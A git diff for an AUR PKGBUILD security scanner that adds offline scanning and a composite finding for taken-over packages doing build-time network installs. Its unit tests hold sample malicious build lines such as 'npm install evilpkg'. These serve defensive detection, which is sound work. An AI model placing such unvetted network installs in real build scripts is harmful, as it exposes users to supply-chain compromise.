hooks, so only direct tty writes appear immediately. - let mut tty = match OpenOptions::new().read(true).write(true).open("/dev/tty") { - Ok(f) => f, - Err(_) => return, // non-interactive, skip silently - }; - - let config = config::load_config(); - - let _ = writeln!( - tty, - "{}", - r#" - ╔╦╗╦═╗╔═╗╦ ╦╦═╗ - ║ ╠╦╝╠═╣║ ║╠╦╝ - ╩ ╩╚═╩ ╩╚═╝╩╚═"# - .red() - .bold() - ); - let _ = writeln!(tty, " {}", "Trust scoring for AUR packages".dimmed()); - let _ = writeln!(tty); - - // --- Phase 1: Collect results silently --- - - // Filter whitelisted packages first - let mut whitelisted_count: u32 = 0; - let to_scan: Vec = aur_packages - .into_iter() - .filter(|pkg| { - if is_whitelisted_in(&config, pkg) { - whitelisted_count += 1; - false - } else { - true - } - }) - .collect(); - - // Batch-fetch AUR metadata to separate real AUR packages from local-only ones - let metadata = bulk::batch_fetch_metadata(&to_scan); - let not_found: Vec<&str> = to_scan - .iter() - .filter(|n| !metadata.contains_key(n.as_str())) - .map(|n| n.as_str()) - .collect(); - if !not_found.is_empty() { - let _ = writeln!( - tty, - " Skipping {} not on AUR: {}", - not_found.len(), - not_found.join(", ") - ); - } - let scan_packages: Vec = to_scan - .into_iter() - .filter(|n| metadata.contains_key(n.as_str())) - .collect(); - - let any_scanned = !scan_packages.is_empty(); - let total_scan = scan_packages.len(); - - // Pre-fetch maintainer data for all packages - let maintainer_packages = bulk::prefetch_maintainer_packages(&metadata); - - let mut results: Vec = Vec::new(); - let mut scan_errors: Vec<(String, String)> = Vec::new(); - let mut tier_counts: [u32; 5] = [0, 0, 0, 0, 0]; // Trusted, Ok, Sketchy, Suspicious, Malicious - - for (i, pkg) in scan_packages.iter().enumerate() { - // Progress indicator (single line, overwritten each iteration) - let _ = write!(tty, "\r Scanning {} ({}/{})... ", pkg, i + 1, total_scan); - let _ = tty.flush(); - - let meta = metadata.get(pkg.as_str()).cloned().unwrap(); - let maint_pkgs = meta - .maintainer - .as_deref() - .and_then(|m| maintainer_packages.get(m)) - .cloned() - .unwrap_or_default(); - - match bulk::clone_with_retry(pkg, meta, maint_pkgs) { - Ok(ctx) => { - let result = coordinator::run_analysis_with_config(&ctx, &config); - let idx = match result.tier { - Tier::Trusted => 0, - Tier::Ok => 1, - Tier::Sketchy => 2, - Tier::Suspicious => 3, - Tier::Malicious => 4, - }; - tier_counts[idx] += 1; - results.push(result); - } - Err(e) => { - scan_errors.push((pkg.clone(), e)); - } - } - } - - // Clear the progress line - let _ = write!(tty, "\r{}\r", " ".repeat(72)); - let _ = tty.flush(); - - // --- Phase 2: Output + decision --- - - // Case 1: All whitelisted - if !any_scanned { - if whitelisted_count > 0 { - let _ = writeln!( - tty, - " {} package(s) whitelisted, nothing to scan.", - whitelisted_count - ); - } - return; - } - - // Print tier summary - let scanned: u32 = tier_counts.iter().sum(); - let _ = writeln!(tty, " Scanned: {} package(s)", scanned); - - let tier_labels = [ - ("TRUSTED", tier_counts[0]), - ("OK", tier_counts[1]), - ("SKETCHY", tier_counts[2]), - ("SUSPICIOUS", tier_counts[3]), - ("MALICIOUS", tier_counts[4]), - ]; - let tier_parts: Vec = tier_labels - .iter() - .filter(|(_, count)| *count > 0) - .map(|(label, count)| { - let colored_label = match *label { - "TRUSTED" => label.green().to_string(), - "OK" => label.yellow().to_string(), - "SKETCHY" => label.truecolor(255, 165, 0).to_string(), - "SUSPICIOUS" => label.red().to_string(), - "MALICIOUS" => label.red().bold().to_string(), - _ => label.to_string(), - }; - format!("{}: {}", colored_label, count) - }) - .collect(); - if !tier_parts.is_empty() { - let _ = writeln!(tty, " {}", tier_parts.join(" ")); - } - - // Full detail for all results - if !results.is_empty() { - results.sort_by(|a, b| a.score.cmp(&b.score)); - for result in &results { - let _ = writeln!(tty); - output::write_text(&mut tty, result, false); - } - } - - // Print scan errors - if !scan_errors.is_empty() { - let _ = writeln!(tty); - for (pkg, err) in &scan_errors { - let _ = writeln!(tty, "{}", format!(" error: {pkg}: {err}").red()); - } - } - - let has_malicious = tier_counts[4] > 0; - let has_flagged = tier_counts[2] > 0 || tier_counts[3] > 0; // SKETCHY or SUSPICIOUS - - // Case 2: MALICIOUS detected -> hard block, must whitelist - if has_malicious { - let _ = writeln!(tty); - let _ = writeln!( - tty, - "{}", - "traur: MALICIOUS package(s) detected — blocking transaction".red().bold() - ); - let _ = writeln!( - tty, - "traur: use 'traur allow ' to whitelist, then retry" - ); - std::process::exit(1); - } - - // Case 3: Scan errors -> hard block (fail closed) - if !scan_errors.is_empty() { - let _ = writeln!(tty); - let _ = writeln!( - tty, - "{}", - "traur: scan errors occurred — blocking transaction".red().bold() - ); - let _ = writeln!( - tty, - "traur: use 'traur allow ' to whitelist failed packages, then retry" - ); - std::process::exit(1); - } - - // Case 4: SKETCHY or SUSPICIOUS -> prompt [y/N] - if has_flagged { - let _ = writeln!(tty); - let _ = write!(tty, "{} ", "traur: Continue with installation? [y/N]".bold()); - let _ = tty.flush(); - - let mut reader = BufReader::new(tty); - let mut line = String::new(); - let response = match reader.read_line(&mut line) { - Ok(0) => "", - Ok(_) => line.trim(), - Err(_) => "", - }; - - let proceed = matches!(response.to_lowercase().as_str(), "y" | "yes"); - - if !proceed { - eprintln!("traur: aborting transaction"); - std::process::exit(1); - } - return; - } - - // Case 5: All clean -> no prompt - let _ = writeln!(tty, "\n {}", "All packages look clean.".green()); -} - -/// Get all package names from official sync databases in one call. -/// Output format: "repo package_name version [installed]" -fn official_repo_packages() -> HashSet { - Command::new("pacman") - .arg("-Sl") - .output() - .map(|out| { - String::from_utf8_lossy(&out.stdout) - .lines() - .filter_map(|line| line.split_whitespace().nth(1).map(String::from)) - .collect() - }) - .unwrap_or_default() -} diff --git a/hook/traur.hook b/hook/traur.hook deleted file mode 100644 index be995c7..0000000 --- a/hook/traur.hook +++ /dev/null @@ -1,13 +0,0 @@ -[Trigger] -Operation = Install -Operation = Upgrade -Type = Package -Target = * - -[Action] -Description = Scanning packages for security issues... -When = PreTransaction -Exec = /usr/bin/traur-hook -Depends = traur -NeedsTargets -AbortOnFail diff --git a/pkg/PKGBUILD b/pkg/PKGBUILD index 8911d27..4fdfa72 100644 --- a/pkg/PKGBUILD +++ b/pkg/PKGBUILD @@ -1,15 +1,15 @@ # Maintainer: Sohimaster pkgname=traur -pkgver=0.4.1 +pkgver=0.5.0 pkgrel=1 -pkgdesc='Trust scoring for AUR packages' +pkgdesc='Findings-based security scanner for AUR PKGBUILDs' arch=('x86_64') url='https://github.com/Sohimaster/traur' license=('MIT') -depends=('git' 'pacman' 'gcc-libs' 'glibc') +depends=('git' 'gcc-libs' 'glibc') makedepends=('cargo') source=("$pkgname-$pkgver.tar.gz::$url/archive/v$pkgver.tar.gz") -sha256sums=('d1c206778c7b609ead78d2af6061ada99244cef42e6052c6e2ebeb0e00952922') +sha256sums=('SKIP') prepare() { cd "$pkgname-$pkgver" @@ -21,21 +21,22 @@ build() { cd "$pkgname-$pkgver" export RUSTUP_TOOLCHAIN=stable export CARGO_TARGET_DIR=target - cargo build --frozen --release + cargo build --release } check() { cd "$pkgname-$pkgver" export RUSTUP_TOOLCHAIN=stable export CARGO_TARGET_DIR=target - cargo test --frozen + cargo test --release } package() { cd "$pkgname-$pkgver" install -Dm0755 target/release/traur "$pkgdir/usr/bin/traur" - install -Dm0755 target/release/traur-hook "$pkgdir/usr/bin/traur-hook" - install -Dm0644 hook/traur.hook "$pkgdir/usr/share/libalpm/hooks/traur.hook" + # makepkg wrapper, shipped inactive. Enable with `traur wrapper --enable`, + # which symlinks it into /usr/local/bin/makepkg. + install -Dm0755 contrib/makepkg-traur "$pkgdir/usr/share/traur/makepkg" install -Dm0644 data/patterns.toml "$pkgdir/usr/share/traur/patterns.toml" install -Dm0644 LICENSE "$pkgdir/usr/share/licenses/$pkgname/LICENSE" } diff --git a/src/bench.rs b/src/bench.rs deleted file mode 100644 index 6c1b949..0000000 --- a/src/bench.rs +++ /dev/null @@ -1,275 +0,0 @@ -use crate::coordinator; -use crate::shared::bulk::{ - batch_fetch_metadata, clone_with_retry, prefetch_maintainer_packages, RPC_BATCH_SIZE, -}; -use crate::shared::models::MetaDumpPackage; -use crate::shared::output; -use crate::shared::scoring::{ScanResult, Tier}; -use colored::Colorize; -use indicatif::{ProgressBar, ProgressStyle}; -use rayon::prelude::*; -use std::collections::HashSet; -use std::io::Read; -use std::sync::atomic::{AtomicU64, Ordering}; -use std::time::{Duration, Instant}; - -const META_DUMP_URL: &str = "https://aur.archlinux.org/packages-meta-v1.json.gz"; - -struct BenchStats { - total: usize, - scanned: usize, - errors: usize, - tier_counts: [usize; 5], - total_time: Duration, - prefetch_time: Duration, - clone_time_us: u64, - analysis_time_us: u64, - scan_wall_time: Duration, - error_samples: Vec<(String, String)>, -} - -fn fetch_recent_packages(count: usize) -> Result, String> { - eprintln!(" Fetching AUR package metadata dump..."); - - let response = reqwest::blocking::get(META_DUMP_URL) - .map_err(|e| format!("Failed to fetch metadata dump: {e}"))?; - - let decoder = flate2::read::GzDecoder::new(response); - let mut json_str = String::new(); - std::io::BufReader::new(decoder) - .read_to_string(&mut json_str) - .map_err(|e| format!("Failed to decompress metadata: {e}"))?; - - let mut packages: Vec = serde_json::from_str(&json_str) - .map_err(|e| format!("Failed to parse metadata JSON: {e}"))?; - - packages.sort_unstable_by(|a, b| b.last_modified.cmp(&a.last_modified)); - - let mut seen = HashSet::new(); - packages.retain(|p| seen.insert(p.package_base.clone())); - - packages.truncate(count); - Ok(packages) -} - -pub fn run(count: usize, jobs: usize) -> i32 { - let start = Instant::now(); - - // Phase 1: prefetch all metadata - eprintln!("{}", "Phase 1: Prefetching metadata...".bold()); - - let packages = match fetch_recent_packages(count) { - Ok(p) => p, - Err(e) => { - eprintln!("Error: {e}"); - return 1; - } - }; - - let total = packages.len(); - eprintln!(" Selected {} packages", total); - - let names: Vec = packages.iter().map(|p| p.name.clone()).collect(); - - eprintln!(" Batch-fetching package metadata ({} RPC calls)...", - (names.len() + RPC_BATCH_SIZE - 1) / RPC_BATCH_SIZE); - let metadata = batch_fetch_metadata(&names); - eprintln!(" Got metadata for {} packages", metadata.len()); - - let maintainer_packages = prefetch_maintainer_packages(&metadata); - - let prefetch_time = start.elapsed(); - eprintln!(" Prefetch done in {:.1}s\n", prefetch_time.as_secs_f64()); - - // Phase 2: parallel git clone + analysis - eprintln!("{}", format!("Phase 2: Scanning {} packages ({} threads)...", total, jobs).bold()); - - let pool = rayon::ThreadPoolBuilder::new() - .num_threads(jobs) - .build() - .expect("Failed to build thread pool"); - - let pb = ProgressBar::new(total as u64); - pb.set_style( - ProgressStyle::default_bar() - .template("[{elapsed_precise}] {bar:40.cyan/blue} {pos}/{len} ({per_sec})") - .unwrap() - .progress_chars("##-"), - ); - - let scan_start = Instant::now(); - - let error_count = AtomicU64::new(0); - let tier_counts: [AtomicU64; 5] = std::array::from_fn(|_| AtomicU64::new(0)); - let clone_time_us = AtomicU64::new(0); - let analysis_time_us = AtomicU64::new(0); - let error_samples = std::sync::Mutex::new(Vec::<(String, String)>::new()); - let flagged = std::sync::Mutex::new(Vec::::new()); - - pool.install(|| { - packages.par_iter().for_each(|pkg| { - let name = &pkg.name; - - let result = if let Some(meta) = metadata.get(name).cloned() { - let maint_pkgs = meta - .maintainer - .as_deref() - .and_then(|m| maintainer_packages.get(m)) - .cloned() - .unwrap_or_default(); - - // Time clone separately from analysis - let t0 = Instant::now(); - let ctx = clone_with_retry(name, meta, maint_pkgs); - clone_time_us.fetch_add(t0.elapsed().as_micros() as u64, Ordering::Relaxed); - - match ctx { - Ok(ctx) => { - let t1 = Instant::now(); - let scan = coordinator::run_analysis(&ctx); - analysis_time_us.fetch_add(t1.elapsed().as_micros() as u64, Ordering::Relaxed); - Ok(scan) - } - Err(e) => Err(e), - } - } else { - Err("metadata not found in batch fetch".to_string()) - }; - - match result { - Ok(scan) => { - let idx = tier_to_index(scan.tier); - tier_counts[idx].fetch_add(1, Ordering::Relaxed); - - if scan.tier >= Tier::Sketchy { - flagged.lock().unwrap().push(scan); - } - } - Err(e) => { - error_count.fetch_add(1, Ordering::Relaxed); - let mut samples = error_samples.lock().unwrap(); - if samples.len() < 10 { - samples.push((name.clone(), e)); - } - } - } - - pb.inc(1); - }); - }); - - pb.finish_and_clear(); - let scan_wall_time = scan_start.elapsed(); - let total_time = start.elapsed(); - - let stats = BenchStats { - total, - scanned: total - error_count.load(Ordering::Relaxed) as usize, - errors: error_count.load(Ordering::Relaxed) as usize, - tier_counts: std::array::from_fn(|i| tier_counts[i].load(Ordering::Relaxed) as usize), - total_time, - prefetch_time, - clone_time_us: clone_time_us.load(Ordering::Relaxed), - analysis_time_us: analysis_time_us.load(Ordering::Relaxed), - scan_wall_time, - error_samples: error_samples.into_inner().unwrap(), - }; - - print_report(&stats); - - // Print detailed output for HIGH/CRITICAL/MALICIOUS packages - let mut flagged = flagged.into_inner().unwrap(); - if !flagged.is_empty() { - flagged.sort_by(|a, b| a.score.cmp(&b.score)); - println!(); - println!("{}", format!("=== {} flagged packages (SKETCHY+) ===", flagged.len()).bold()); - for result in &flagged { - println!(); - output::print_text(result, false); - } - } - - 0 -} - -fn tier_to_index(tier: Tier) -> usize { - match tier { - Tier::Trusted => 0, - Tier::Ok => 1, - Tier::Sketchy => 2, - Tier::Suspicious => 3, - Tier::Malicious => 4, - } -} - -fn print_report(stats: &BenchStats) { - let pct = |n: usize| -> f64 { - if stats.scanned == 0 { - 0.0 - } else { - n as f64 / stats.scanned as f64 * 100.0 - } - }; - - let clone_secs = stats.clone_time_us as f64 / 1_000_000.0; - let analysis_secs = stats.analysis_time_us as f64 / 1_000_000.0; - let avg_clone_ms = if stats.scanned > 0 { - stats.clone_time_us as f64 / stats.scanned as f64 / 1_000.0 - } else { - 0.0 - }; - let avg_analysis_ms = if stats.scanned > 0 { - stats.analysis_time_us as f64 / stats.scanned as f64 / 1_000.0 - } else { - 0.0 - }; - - println!(); - println!("{}", "=== traur bench results ===".bold()); - println!(); - println!( - " Packages: {} requested, {} scanned, {} errors", - stats.total, stats.scanned, stats.errors - ); - println!(); - println!("{}", " Timing:".bold()); - println!( - " Prefetch: {:>7.1}s (metadata + maintainer data)", - stats.prefetch_time.as_secs_f64() - ); - println!( - " Git clone: {:>7.1}s cumulative, {:>7.1}ms avg/pkg", - clone_secs, avg_clone_ms - ); - println!( - " Analysis: {:>7.1}s cumulative, {:>7.1}ms avg/pkg", - analysis_secs, avg_analysis_ms - ); - println!( - " Wall clock: {:>7.1}s (scan phase)", - stats.scan_wall_time.as_secs_f64() - ); - println!( - " Total: {:>7.1}s", - stats.total_time.as_secs_f64() - ); - println!( - " Throughput: {:>7.1} pkg/s", - stats.scanned as f64 / stats.scan_wall_time.as_secs_f64() - ); - println!(); - println!("{}", " Trust distribution:".bold()); - println!(" TRUSTED: {:>5} ({:.1}%)", stats.tier_counts[0], pct(stats.tier_counts[0])); - println!(" OK: {:>5} ({:.1}%)", stats.tier_counts[1], pct(stats.tier_counts[1])); - println!(" SKETCHY: {:>5} ({:.1}%)", stats.tier_counts[2], pct(stats.tier_counts[2])); - println!(" SUSPICIOUS: {:>5} ({:.1}%)", stats.tier_counts[3], pct(stats.tier_counts[3])); - println!(" MALICIOUS: {:>5} ({:.1}%)", stats.tier_counts[4], pct(stats.tier_counts[4])); - - if !stats.error_samples.is_empty() { - println!(); - println!("{}", " Sample errors:".bold()); - for (name, err) in &stats.error_samples { - println!(" {name}: {err}"); - } - } -} diff --git a/src/coordinator.rs b/src/coordinator.rs index 03f0281..a7a167a 100644 --- a/src/coordinator.rs +++ b/src/coordinator.rs @@ -1,12 +1,17 @@ use crate::features; use crate::shared::models::PackageContext; use crate::shared::output; -use crate::shared::scoring::{self, ScanResult, Tier}; +use crate::shared::scoring::{self, ScanResult}; -/// Scan a package by name, printing results. Returns the computed tier. -pub fn scan_package(package_name: &str, json: bool, verbose: bool) -> Result { +/// Scan a package by name, printing its findings. +pub fn scan_package(package_name: &str, json: bool, verbose: bool) -> Result<(), String> { let ctx = build_context(package_name)?; - let result = run_analysis(&ctx); + let mut result = run_analysis(&ctx); + + // Online-only: known-compromised list check (fails open). + if let Some(sig) = crate::shared::malicious_list::check(package_name) { + result.signals.insert(0, sig); + } if json { output::print_json(&result); @@ -14,111 +19,38 @@ pub fn scan_package(package_name: &str, json: bool, verbose: bool) -> Result Result { - use crate::shared::{aur_comments, aur_git, aur_rpc, cache, github}; - - let metadata = aur_rpc::fetch_package_info(package_name)?; - - // Determine package base (for split packages) - let package_base = metadata - .package_base - .as_deref() - .unwrap_or(package_name); - - // Clone/pull the AUR git repo - let git_cache = cache::git_cache_dir(); - let cache_str = git_cache.to_str().unwrap_or("/tmp/traur-git"); - - let repo_path = aur_git::ensure_repo(package_base, cache_str)?; - - let pkgbuild_content = aur_git::read_pkgbuild(&repo_path).ok(); - let install_script_content = pkgbuild_content - .as_deref() - .and_then(|content| aur_git::read_install_script(&repo_path, content)); - let mut git_log = aur_git::read_git_log(&repo_path, 20); - - // Attach diff to the latest commit - if let Some(first) = git_log.first_mut() { - first.diff = aur_git::get_latest_diff(&repo_path); - } - - // Read prior PKGBUILD for diff comparison - let prior_pkgbuild_content = if git_log.len() >= 2 { - aur_git::read_pkgbuild_at_revision(&repo_path, "HEAD~1") - } else { - None - }; - - // Fetch maintainer's other packages for reputation analysis + let metadata = crate::shared::aur_rpc::fetch_package_info(package_name)?; let maintainer_packages = metadata .maintainer .as_deref() - .and_then(|m| aur_rpc::fetch_maintainer_packages(m).ok()) + .and_then(|m| crate::shared::aur_rpc::fetch_maintainer_packages(m).ok()) .unwrap_or_default(); - - // Fetch GitHub stars if upstream URL points to GitHub - let (github_stars, github_not_found) = metadata - .url - .as_deref() - .and_then(|url| github::fetch_github_stars(url)) - .map(|info| (if info.found { Some(info.stars) } else { None }, !info.found)) - .unwrap_or((None, false)); - - // Fetch recent AUR comments - let aur_comments = aur_comments::fetch_recent_comments(package_base); - - Ok(PackageContext { - name: package_name.to_string(), - metadata: Some(metadata), - pkgbuild_content, - install_script_content, - prior_pkgbuild_content, - git_log, - maintainer_packages, - github_stars, - github_not_found, - aur_comments, - }) + build_context_prefetched(package_name, metadata, maintainer_packages) } -/// Build context using pre-fetched metadata. Only the git clone hits the network. -/// Returns Err if git clone fails — no PKGBUILD means no meaningful analysis. +/// Build context from pre-fetched metadata, fetching the PKGBUILD/.install over +/// HTTP. Returns Err if the PKGBUILD can't be fetched (nothing to analyze). pub fn build_context_prefetched( package_name: &str, metadata: crate::shared::models::AurPackage, maintainer_packages: Vec, ) -> Result { - use crate::shared::{aur_comments, aur_git, cache, github}; - - let package_base = metadata - .package_base - .as_deref() - .unwrap_or(package_name); - - let git_cache = cache::git_cache_dir(); - let cache_str = git_cache.to_str().unwrap_or("/tmp/traur-git"); - - let repo_path = aur_git::ensure_repo(package_base, cache_str)?; + use crate::shared::{aur_comments, aur_fetch, github}; - let pkgbuild = aur_git::read_pkgbuild(&repo_path).ok(); - let install = pkgbuild - .as_deref() - .and_then(|content| aur_git::read_install_script(&repo_path, content)); - let mut log = aur_git::read_git_log(&repo_path, 20); - - if let Some(first) = log.first_mut() { - first.diff = aur_git::get_latest_diff(&repo_path); - } + let package_base = metadata.package_base.as_deref().unwrap_or(package_name); - let prior = if log.len() >= 2 { - aur_git::read_pkgbuild_at_revision(&repo_path, "HEAD~1") - } else { - None - }; + let pkgbuild = aur_fetch::fetch_pkgbuild(package_base)?; + let install = aur_fetch::fetch_install_script(package_base, &pkgbuild); let (gh_stars, gh_not_found) = metadata .url @@ -132,10 +64,10 @@ pub fn build_context_prefetched( Ok(PackageContext { name: package_name.to_string(), metadata: Some(metadata), - pkgbuild_content: pkgbuild, + pkgbuild_content: Some(pkgbuild), install_script_content: install, - prior_pkgbuild_content: prior, - git_log: log, + prior_pkgbuild_content: None, + git_log: Vec::new(), maintainer_packages, github_stars: gh_stars, github_not_found: gh_not_found, @@ -143,7 +75,9 @@ pub fn build_context_prefetched( }) } -/// Scan a local PKGBUILD string without network access. +/// Scan a PKGBUILD provided as an in-memory string (no network, no git). +/// Used by the library API and integration tests. +#[allow(dead_code)] pub fn scan_pkgbuild(name: &str, pkgbuild_content: &str) -> ScanResult { let ctx = PackageContext { name: name.to_string(), @@ -160,6 +94,49 @@ pub fn scan_pkgbuild(name: &str, pkgbuild_content: &str) -> ScanResult { run_analysis(&ctx) } +/// Scan a local PKGBUILD file offline. When its directory is a git repo (an AUR +/// helper's build dir), the diff/git-history features run against that local +/// history. No network access. +pub fn scan_local(name: &str, pkgbuild_path: &std::path::Path) -> Result { + use crate::shared::aur_git; + + let content = std::fs::read_to_string(pkgbuild_path) + .map_err(|e| format!("Failed to read {}: {e}", pkgbuild_path.display()))?; + let dir = pkgbuild_path.parent().unwrap_or(std::path::Path::new(".")); + + let install_script_content = aur_git::read_install_script(dir, &content); + + let (git_log, prior_pkgbuild_content) = if dir.join(".git").exists() { + let mut log = aur_git::read_git_log(dir, 20); + if let Some(first) = log.first_mut() { + first.diff = aur_git::get_latest_diff(dir); + } + let prior = if log.len() >= 2 { + aur_git::read_pkgbuild_at_revision(dir, "HEAD~1") + } else { + None + }; + (log, prior) + } else { + (Vec::new(), None) + }; + + let ctx = PackageContext { + name: name.to_string(), + metadata: None, + pkgbuild_content: Some(content), + install_script_content, + prior_pkgbuild_content, + git_log, + maintainer_packages: Vec::new(), + github_stars: None, + github_not_found: false, + aur_comments: vec![], + }; + Ok(run_analysis(&ctx)) +} + + /// Run all registered features against the context and compute a score. pub fn run_analysis(ctx: &PackageContext) -> ScanResult { let config = crate::shared::config::load_config(); @@ -179,10 +156,104 @@ pub fn run_analysis_with_config( all_signals.extend(signals); } + apply_composite_gates(&mut all_signals); + if !config.ignored.signals.is_empty() || !config.ignored.categories.is_empty() { all_signals .retain(|s| !crate::shared::config::is_signal_ignored(config, &s.id, &s.category)); } - scoring::compute_score(&ctx.name, &all_signals) + ScanResult { + package: ctx.name.clone(), + signals: all_signals, + } +} + +/// Signals indicating a build/install step fetches a named package over the network. +const NET_INSTALL_SIGNALS: [&str; 4] = [ + "P-NET-PKG-INSTALL-JS", + "P-NET-PKG-INSTALL", + "P-INSTALL-PKG-MANAGER-JS", + "P-INSTALL-PKG-MANAGER", +]; + +/// Apply composite findings that depend on signals emitted by multiple features. +/// +/// A package that was adopted/taken over (`B-SUBMITTER-CHANGED`) AND fetches a +/// named package over the network at build time is the Atomic Arch supply-chain +/// takeover signature — emit a dedicated composite finding. +fn apply_composite_gates(signals: &mut Vec) { + use crate::shared::scoring::{Signal, SignalCategory}; + + let taken_over = signals.iter().any(|s| s.id == "B-SUBMITTER-CHANGED"); + let net_install = signals + .iter() + .find(|s| NET_INSTALL_SIGNALS.contains(&s.id.as_str())); + + if let (true, Some(install)) = (taken_over, net_install) { + let matched_line = install.matched_line.clone(); + signals.push(Signal { + id: "B-ORPHAN-NET-INSTALL".to_string(), + category: SignalCategory::Behavioral, + points: 90, + description: + "Adopted/taken-over package fetches a named package over the network at build time — supply-chain takeover pattern" + .to_string(), + is_override_gate: true, + matched_line, + }); + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::shared::config::Config; + use crate::shared::models::AurPackage; + + fn make_pkg(maintainer: &str, submitter: &str) -> AurPackage { + AurPackage { + name: "test-pkg".into(), + package_base: None, + url: None, + num_votes: 10, + popularity: 1.0, + out_of_date: None, + maintainer: Some(maintainer.into()), + submitter: Some(submitter.into()), + first_submitted: 1_600_000_000, + last_modified: 1_700_000_000, + license: None, + } + } + + fn ctx_with(maintainer: &str, submitter: &str, pkgbuild: &str) -> PackageContext { + PackageContext { + name: "test-pkg".into(), + metadata: Some(make_pkg(maintainer, submitter)), + pkgbuild_content: Some(pkgbuild.into()), + install_script_content: None, + prior_pkgbuild_content: None, + git_log: vec![], + maintainer_packages: vec![], + github_stars: None, + github_not_found: false, + aur_comments: vec![], + } + } + + #[test] + fn takeover_plus_net_install_emits_composite_finding() { + let ctx = ctx_with("attacker", "original", "build() {\n npm install evilpkg\n}\n"); + let result = run_analysis_with_config(&ctx, &Config::default()); + assert!(result.signals.iter().any(|s| s.id == "B-ORPHAN-NET-INSTALL")); + } + + #[test] + fn net_install_without_takeover_emits_no_composite() { + let ctx = ctx_with("alice", "alice", "build() {\n npm install evilpkg\n}\n"); + let result = run_analysis_with_config(&ctx, &Config::default()); + assert!(!result.signals.iter().any(|s| s.id == "B-ORPHAN-NET-INSTALL")); + assert!(result.signals.iter().any(|s| s.id == "P-NET-PKG-INSTALL-JS")); + } } diff --git a/src/features/checksum_analysis/mod.rs b/src/features/checksum_analysis/mod.rs index 641784f..29b2852 100644 --- a/src/features/checksum_analysis/mod.rs +++ b/src/features/checksum_analysis/mod.rs @@ -150,6 +150,12 @@ static DYNAMIC_BASH_RE: LazyLock = LazyLock::new(|| { /// Returns 0 for arrays with dynamic bash constructs (command substitution, /// array expansion) since static token counting would be unreliable. fn count_array_entries(content: &str, array_name: &str) -> usize { + // Arrays built up with `name+=(...)` (common in kernel PKGBUILDs that add + // sources conditionally) can't be counted statically — the base array is + // only part of the total. Treat as unreliable. + if content.contains(&format!("{array_name}+=(")) { + return 0; + } let pattern = format!(r"(?ms)^{array_name}=\((.*?)\)"); let re = Regex::new(&pattern).unwrap(); let Some(caps) = re.captures(content) else { @@ -251,6 +257,17 @@ mod tests { assert!(!has(&ids, "P-CHECKSUM-MISMATCH"), "Arch-specific arrays should not cause mismatch, got: {ids:?}"); } + #[test] + fn appended_source_array_no_mismatch() { + // Kernel-style PKGBUILD: base source=() plus conditional source+=() appends. + // Static count of the base array is meaningless, so no mismatch should fire. + let ids = analyze( + "test-pkg", + "source=('a.tar.gz' 'config')\nsource+=('extra.patch')\nb2sums=('h1' 'h2' 'h3')\n", + ); + assert!(!has(&ids, "P-CHECKSUM-MISMATCH"), "appended source array should not flag, got: {ids:?}"); + } + #[test] fn checksum_arch_specific_real_mismatch() { let ids = analyze("test-pkg", "source=('a.tar.gz' 'b.patch')\nsha256sums=('hash1')\n"); diff --git a/src/features/gtfobins_analysis/mod.rs b/src/features/gtfobins_analysis/mod.rs index dc72d24..819451c 100644 --- a/src/features/gtfobins_analysis/mod.rs +++ b/src/features/gtfobins_analysis/mod.rs @@ -22,11 +22,12 @@ impl Feature for GtfobinsAnalysis { } fn match_patterns(content: &str, id_prefix: &str, desc_suffix: &str) -> Vec { + let content = crate::shared::text::strip_comment_lines(content); let compiled = patterns::compiled_patterns(); let mut signals = Vec::new(); for pat in compiled { - if pat.regex.is_match(content) { + if pat.regex.is_match(&content) { let matched_line = content .lines() .find(|line| pat.regex.is_match(line)) diff --git a/src/features/install_script_analysis/mod.rs b/src/features/install_script_analysis/mod.rs index a1d2e99..e21c53e 100644 --- a/src/features/install_script_analysis/mod.rs +++ b/src/features/install_script_analysis/mod.rs @@ -8,15 +8,16 @@ pub struct InstallScriptAnalysis; impl Feature for InstallScriptAnalysis { fn analyze(&self, ctx: &PackageContext) -> Vec { - let Some(ref content) = ctx.install_script_content else { + let Some(ref raw) = ctx.install_script_content else { return Vec::new(); }; + let content = crate::shared::text::strip_comment_lines(raw); let compiled = patterns::compiled_patterns(); let mut signals = Vec::new(); for pat in compiled { - if pat.regex.is_match(content) { + if pat.regex.is_match(&content) { let matched_line = content .lines() .find(|line| pat.regex.is_match(line)) @@ -250,6 +251,26 @@ mod tests { assert!(has(&ids, "P-INSTALL-TMP-EXEC")); } + // --- Build-time package-manager installs --- + + #[test] + fn install_npm_install() { + let ids = analyze("npm install atomic-lockfile"); + assert!(has(&ids, "P-INSTALL-PKG-MANAGER-JS")); + } + + #[test] + fn install_pip_install() { + let ids = analyze("pip3 install evilpkg"); + assert!(has(&ids, "P-INSTALL-PKG-MANAGER")); + } + + #[test] + fn install_bare_npm_no_signal() { + let ids = analyze("npm install"); + assert!(!has(&ids, "P-INSTALL-PKG-MANAGER-JS"), "bare npm install should not fire, got: {ids:?}"); + } + #[test] fn benign_install_no_signals() { let ids = analyze(r#" diff --git a/src/features/orphan_takeover_analysis/CLAUDE.md b/src/features/orphan_takeover_analysis/CLAUDE.md index 4614eec..811b596 100644 --- a/src/features/orphan_takeover_analysis/CLAUDE.md +++ b/src/features/orphan_takeover_analysis/CLAUDE.md @@ -6,6 +6,7 @@ Detects packages where the current maintainer is not the original submitter, a p - **Submitter changed** (B-SUBMITTER-CHANGED, +15): Current AUR maintainer differs from the original submitter. Low points because legitimate adoption is common. - **Orphan takeover** (B-ORPHAN-TAKEOVER, +50): Composite signal requiring ALL of: submitter != maintainer, latest git author differs from prior authors, and the package is established (>90 days old). High-confidence indicator of malicious takeover. +- **Orphan + build-time network install** (B-ORPHAN-NET-INSTALL, +90, override gate): Emitted by the coordinator (not this feature) when an adopted/taken-over package (B-SUBMITTER-CHANGED) also has a build/install step that fetches a named package over the network (P-NET-PKG-INSTALL*/P-INSTALL-PKG-MANAGER*). This is the Atomic Arch (June 2026) supply-chain takeover signature, so it escalates directly to MALICIOUS. See `src/coordinator.rs::apply_composite_gates`. ## Signals emitted diff --git a/src/features/pkgbuild_analysis/mod.rs b/src/features/pkgbuild_analysis/mod.rs index 175fede..8fa3ad4 100644 --- a/src/features/pkgbuild_analysis/mod.rs +++ b/src/features/pkgbuild_analysis/mod.rs @@ -8,15 +8,16 @@ pub struct PkgbuildAnalysis; impl Feature for PkgbuildAnalysis { fn analyze(&self, ctx: &PackageContext) -> Vec { - let Some(ref content) = ctx.pkgbuild_content else { + let Some(ref raw) = ctx.pkgbuild_content else { return Vec::new(); }; + let content = crate::shared::text::strip_comment_lines(raw); let compiled = patterns::compiled_patterns(); let mut signals = Vec::new(); 